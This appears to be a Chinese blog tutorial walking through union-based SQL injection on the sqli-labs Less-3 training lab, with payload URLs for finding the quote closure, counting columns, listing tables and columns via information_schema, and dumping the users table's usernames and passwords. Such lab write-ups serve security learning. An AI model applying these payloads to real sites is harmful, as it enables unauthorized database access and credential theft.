SQL注入案例

文章目录

      • 1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句
      • 2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)
      • 3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。
      • 4. 使用databa()函数和version()函数查看库名和版本号
      • 5. 由步骤4可知库名为security,再根据库名输出该库的所有表名
      • 6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名
      • 7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息
      • 8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)

1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句

  • 进行检测
依次以下方式进行检测,使用
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1“ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
......等等
  • 若出现下图则是检测闭合错误,即不对
    SQL注入案例_第1张图片
  • 发现只有当输入
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
  • 出现下图,则判断正确闭合为 ')
    SQL注入案例_第2张图片

2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)

http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 10 --+
  • 发现小于10列,接下来测5列
    SQL注入案例_第3张图片
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 5 --+
  • 发现小于5列,接下来测试3列
    SQL注入案例_第4张图片
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 3 --+
  • 发现3列的时候显示正确了,所以可以判断可能大于等于3列,接下来判断4列
    SQL注入案例_第5张图片
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 4 --+
  • 经检测发现4列不正确,小于4列,所以最终可以得知为3列
    SQL注入案例_第6张图片

3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。

  • 如图可知,显示位是2,3
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,2,3 --+

SQL注入案例_第7张图片

4. 使用databa()函数和version()函数查看库名和版本号

http://192.168.1.129/sqli-labs-master/Less-3/?id=-') union all select 1,database(),version() --+

SQL注入案例_第8张图片

5. 由步骤4可知库名为security,再根据库名输出该库的所有表名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

SQL注入案例_第9张图片

6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

SQL注入案例_第10张图片

7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(username),group_concat(password) from users--+

SQL注入案例_第11张图片

8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)

你可能感兴趣的:(网络安全)